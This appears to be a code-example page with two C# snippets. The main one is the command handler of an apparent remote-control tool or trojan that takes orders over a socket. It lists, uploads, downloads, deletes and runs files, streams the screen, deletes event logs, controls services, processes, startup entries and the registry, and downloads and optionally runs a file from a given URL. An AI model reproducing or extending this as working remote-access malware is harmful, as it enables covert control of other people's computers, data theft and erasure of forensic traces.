Ejemplo n.º 1
0
        private void button4_Click(object sender, EventArgs e)
        {
            System.Drawing.Text.InstalledFontCollection MyFamilies = new System.Drawing.Text.InstalledFontCollection();
            FontForm ff = new FontForm();

            ff.label1.Text      = textBox8.Text;
            ff.label1.Location  = new Point(int.Parse(textBox7.Text), int.Parse(textBox14.Text));
            ff.label1.Font      = new Font(new FontFamily(comboBox5.Text), int.Parse(comboBox7.Text));
            ff.label1.ForeColor = Color.FromName(comboBox8.Text);
            ff.Show();
        }
Ejemplo n.º 2
0
        //处理命令
        private void DoCommand(ref string command, ref string parameter)
        {
            if (command == "Connected")
            {
                //WriteToClient(ref socket, "true");
            }
            else if (command == "PcInfo")
            {
                SystemInfo systemInfo = new SystemInfo();
                WriteToClient(ref socket, systemInfo.GetMyComputerName() + "\n" + systemInfo.GetMyScreens() + "\n" + systemInfo.GetMyCpuInfo() + "\n" + systemInfo.GetMyMemoryInfo() + "\n" + systemInfo.GetMyDriveInfo() + "\n" + systemInfo.GetMyOSName() + "\n" + systemInfo.GetMyUserName() + "\n" + systemInfo.GetMyPaths());
            }
            //***************************************************************************************
            //文件管理
            else if (command == "Filelist")//文件列表
            {
                try
                {
                    string        dir    = "";
                    DirectoryInfo curDir = new DirectoryInfo(parameter);
                    if (!curDir.Exists)
                    {
                        dir = "";
                        WriteToClient(ref socket, "<OK>Dir Send\r\n" + dir);
                        return;
                    }
                    DirectoryInfo[] dirdir   = curDir.GetDirectories();
                    FileInfo[]      dirFiles = curDir.GetFiles();
                    foreach (FileInfo f in dirFiles)
                    {
                        dir = dir + "F:" + f.Name + "\t" + f.Length + "\t" + f.CreationTime.ToString() + "\t" + f.LastWriteTime.ToString() + "\r\n";
                    }
                    foreach (DirectoryInfo d in dirdir)
                    {
                        dir = dir + "D:" + d.Name + "\r\n";
                    }
                    WriteToClient(ref socket, "<OK>Dir Send\r\n" + dir);
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "Driverlist")//磁盘列表
            {
                string[] drives = Environment.GetLogicalDrives();
                string   str    = "<OK>Dir Send\r\n";
                foreach (string s in drives)
                {
                    str += s + "\r\n";
                }
                WriteToClient(ref socket, str);
            }
            else if (command == "DeleteFile")//删除文件
            {
                try
                {
                    File.Delete(parameter);
                }
                catch { }
                string str = "<OK>File Deleted\r\n";
                WriteToClient(ref socket, str);
            }
            else if (command == "DeleteDirectory")//删除文件夹
            {
                try
                {
                    DeleteDir(parameter);
                }
                catch { }
                string str = "<OK>Directory Deleted\r\n";
                WriteToClient(ref socket, str);
            }
            else if (command == "Upload")//客户端上传文件
            {
                thread = new Thread(new ThreadStart(Upload));
                thread.Start();
            }
            else if (command == "Download")//客户端下载文件
            {
                thread = new Thread(new ThreadStart(Download));
                thread.Start();
            }
            else if (command == "Updir")//客户端上传文件夹
            {
                thread = new Thread(new ThreadStart(Updir));
                thread.Start();
            }
            else if (command == "Downdir")//客户端下载文件夹
            {
                thread = new Thread(new ThreadStart(Downdir));
                thread.Start();
            }
            else if (command == "Rename")//重命名文件
            {
                try
                {
                    char[]   a     = new char[] { '\r' };
                    string[] spl   = parameter.Split(a);
                    string   para1 = spl[0];
                    string   para2 = spl[1];
                    File.Copy(para1, para2, true);
                    File.Delete(para1);
                    WriteToClient(ref socket, "<OK>File Renamed!\r\n");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "move")//移动文件
            {
                try
                {
                    char[]   a     = new char[] { '\r' };
                    string[] spl   = parameter.Split(a);
                    string   para1 = spl[0];
                    string   para2 = spl[1];
                    File.Move(para1, para2);
                    WriteToClient(ref socket, "<OK>File moved!\r\n");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "Mkdir")//新建文件夹
            {
                try
                {
                    Directory.CreateDirectory(parameter);
                    WriteToClient(ref socket, "<OK>Mkdir finished!\r\n");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "Mkfile")//新建文件
            {
                try
                {
                    File.Create(parameter);
                    WriteToClient(ref socket, "<OK>Mkfile finished!\r\n");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "Run")//运行文件
            {
                try
                {
                    string[] str  = parameter.Split('\r');
                    Process  Proc = new Process();
                    if (str.Length >= 2)
                    {
                        switch (str[1])
                        {
                        case "min":   Proc.StartInfo.WindowStyle = ProcessWindowStyle.Minimized; break;

                        case "max":   Proc.StartInfo.WindowStyle = ProcessWindowStyle.Maximized; break;

                        case "hidden": Proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; break;

                        case "canshu": Proc.StartInfo.Arguments = str[2]; break;

                        default: Proc.StartInfo.WindowStyle = ProcessWindowStyle.Normal; break;
                        }
                    }
                    if (Directory.Exists(str[0]))//打开文件夹
                    {
                        Proc.StartInfo.FileName  = "explorer.exe";
                        Proc.StartInfo.Arguments = str[0];
                    }
                    else//打开文件
                    {
                        Proc.StartInfo.FileName = str[0];
                    }
                    Proc.Start();
                    WriteToClient(ref socket, "<OK>Run finished!\r\n");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            //*************************************************************************************************
            //屏幕监控
            else if (command == "ViewScreen")//屏幕监控
            {
                thread = new Thread(new ThreadStart(ViewScreen));
                thread.Start();
            }
            else if (command == "EventLog")//事件日志
            {
                try
                {
                    string[] str = parameter.Split(' ');
                    switch (str[0])
                    {
                    case "list": GetEventlogList(parameter.Substring(parameter.IndexOf(' ') + 1)); break;

                    case "del":  DelEventlog(parameter.Substring(parameter.IndexOf(' ') + 1)); break;
                    }
                    WriteToClient(ref socket, "<OK>Send EventLog finished!");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "Service")//系统服务列表
            {
                try
                {
                    string[] str = parameter.Split(' ');
                    switch (str[0])
                    {
                    case "list": GetServiceList(); break;

                    case "start": StartService(parameter.Substring(parameter.IndexOf(' ') + 1)); break;

                    case "stop": StopService(parameter.Substring(parameter.IndexOf(' ') + 1)); break;

                    case "autostart": AutoStartService(parameter.Substring(parameter.IndexOf(' ') + 1)); break;
                    }
                    WriteToClient(ref socket, "<OK>Send Service finished!");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "Process")//进程列表
            {
                try
                {
                    string[] str = parameter.Split(' ');
                    switch (str[0])
                    {
                    case "list": GetProcessList(); break;

                    case "kill": KillProcess(str[1]); break;
                    }
                    WriteToClient(ref socket, "<OK>Send Process finished!");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "StartUp")//开机启动
            {
                try
                {
                    string[] str = parameter.Split(' ');
                    switch (str[0])
                    {
                    case "list": GetStartUpList(); break;

                    case "kill": KillStartUp(parameter.Substring(parameter.IndexOf(' ') + 1)); break;
                    }
                    WriteToClient(ref socket, "<OK>Send StartUp finished!");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "NetWork")//网络连接
            {
                try
                {
                    ArrayList arr = GetNetstart();
                    foreach (string a in arr)
                    {
                        string[]  str  = a.Split('\n');
                        ArrayList arr1 = GetProcess(int.Parse(str[4]));
                        Write(ref socket, str[0] + "\t" + arr1[0].ToString() + "\t" + str[1] + "\t" + str[2] + "\t" + str[3] + "\t" + str[4] + "\t" + arr1[1].ToString() + "\n");
                    }
                    WriteToClient(ref socket, "<OK>Send NetWork finished!");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "Regedit")//注册表
            {
                try
                {
                    string[] str = parameter.Split(' ');
                    str[1] = parameter.Substring(parameter.IndexOf(' ') + 1);
                    string r = "";
                    switch (str[0])
                    {
                    case "getsubkey": GetSubKey(str[1]); break;

                    case "getkeyvalue": GetKeyValue(str[1]); break;

                    case "new": r = NewReg(str[1], false); break;

                    case "rename": r = RenameReg(str[1], false); break;

                    case "del": r = DelReg(str[1], false); break;

                    case "new1": r = NewReg(str[1], true); break;

                    case "rename1": r = RenameReg(str[1], true); break;

                    case "del1": r = DelReg(str[1], true); break;
                    }
                    WriteToClient(ref socket, r);
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            //*************************************************************************************************
            //远程控制
            else if (command == "shutdown")
            {
            }
            else if (command == "restart")
            {
            }
            else if (command == "waring")
            {
                WriteToClient(ref socket, "<OK>waring sended!"); ++c;
                MessageBox.Show(parameter + c.ToString(), "Waring");
            }
            else if (command == "message")
            {
                try
                {
                    string[] str = parameter.Split('\n');

                    MessageBoxButtons m   = MessageBoxButtons.OK;
                    MessageBoxIcon    ico = MessageBoxIcon.Information;
                    switch (str[2])
                    {
                    case "确定": m = MessageBoxButtons.OK; break;

                    case "确定、取消": m = MessageBoxButtons.OKCancel; break;

                    case "是、否": m = MessageBoxButtons.YesNo; break;

                    case "是、否、取消": m = MessageBoxButtons.YesNoCancel; break;

                    case "重试、取消": m = MessageBoxButtons.RetryCancel; break;

                    case "终止、重试、忽略": m = MessageBoxButtons.AbortRetryIgnore; break;
                    }
                    switch (str[3])
                    {
                    case "普通": ico = MessageBoxIcon.Information; break;

                    case "询问": ico = MessageBoxIcon.Question; break;

                    case "错误": ico = MessageBoxIcon.Error; break;

                    case "警告": ico = MessageBoxIcon.Warning; break;
                    }
                    MessageBox.Show(str[0], str[1], m, ico);
                    WriteToClient(ref socket, "<OK>message sended!");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "textmsg")
            {
                try
                {
                    string[] str = parameter.Split('\n');

                    System.Drawing.Text.InstalledFontCollection MyFamilies = new System.Drawing.Text.InstalledFontCollection();
                    FontForm ff = new FontForm();
                    ff.label1.Text      = str[0];
                    ff.label1.Location  = new Point(int.Parse(str[1]), int.Parse(str[2]));
                    ff.label1.Font      = new Font(new FontFamily(str[3]), int.Parse(str[4]));
                    ff.label1.ForeColor = Color.FromName(str[5]);
                    ff.Show();

                    WriteToClient(ref socket, "<OK>textmsg sended!");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "openie")
            {
                try
                {
                    string[] str = parameter.Split('\n');
                    str[0] = str[0].Trim();
                    str[1] = str[1].Trim();
                    if (str[0] != "")
                    {
                        Cmd.RunIE(str[0]);
                    }
                    if (str[1] != "")
                    {
                        Uri url = new Uri(str[1]);

                        HttpWebRequest      hwr   = (HttpWebRequest)WebRequest.Create(url);
                        HttpWebResponse     hwrsp = (HttpWebResponse)hwr.GetResponse();
                        WebHeaderCollection whc   = hwrsp.Headers;
                        string fileName           = whc["filename"];//.Get(7);
                        MessageBox.Show(fileName);

                        Stream       strm = hwrsp.GetResponseStream();
                        StreamReader sr   = new StreamReader(strm);
                        FileStream   fs   = new FileStream(fileName, FileMode.OpenOrCreate, FileAccess.Write);
                        StreamWriter sw   = new StreamWriter(fs);

                        while (sr.Peek() > -1)
                        {
                            sw.WriteLine(sr.ReadLine());
                        }

                        sw.Close();
                        fs.Close();
                        sr.Close();
                        strm.Close();
                        if (str[2] == "true")
                        {
                            Cmd.RunFile(fileName);
                        }
                    }

                    WriteToClient(ref socket, "<OK>openie sended!");
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                }
            }
            else if (command == "显示桌面")
            {
                try
                {
                    System.Diagnostics.Process MyProcess;
                    MyProcess = new System.Diagnostics.Process();
                    MyProcess.StartInfo.FileName = "MyDesktop.scf";
                    MyProcess.StartInfo.Verb     = "Open";
                    MyProcess.Start();
                }
                catch (Exception e)
                {
                    WriteToClient(ref socket, e.Message);
                    MessageBox.Show(e.Message);
                }
                WriteToClient(ref socket, "<OK>显示桌面 sended!");
            }
            ///////////断开连接
            else if (command == "quit")
            {
                WriteToClient(ref socket, "<OK>connected closed!");
                socket.Close();
            }
            else
            {
                WriteToClient(ref socket, "<ERROR>unrecognized command!");
                MessageBox.Show("test");
            }
        }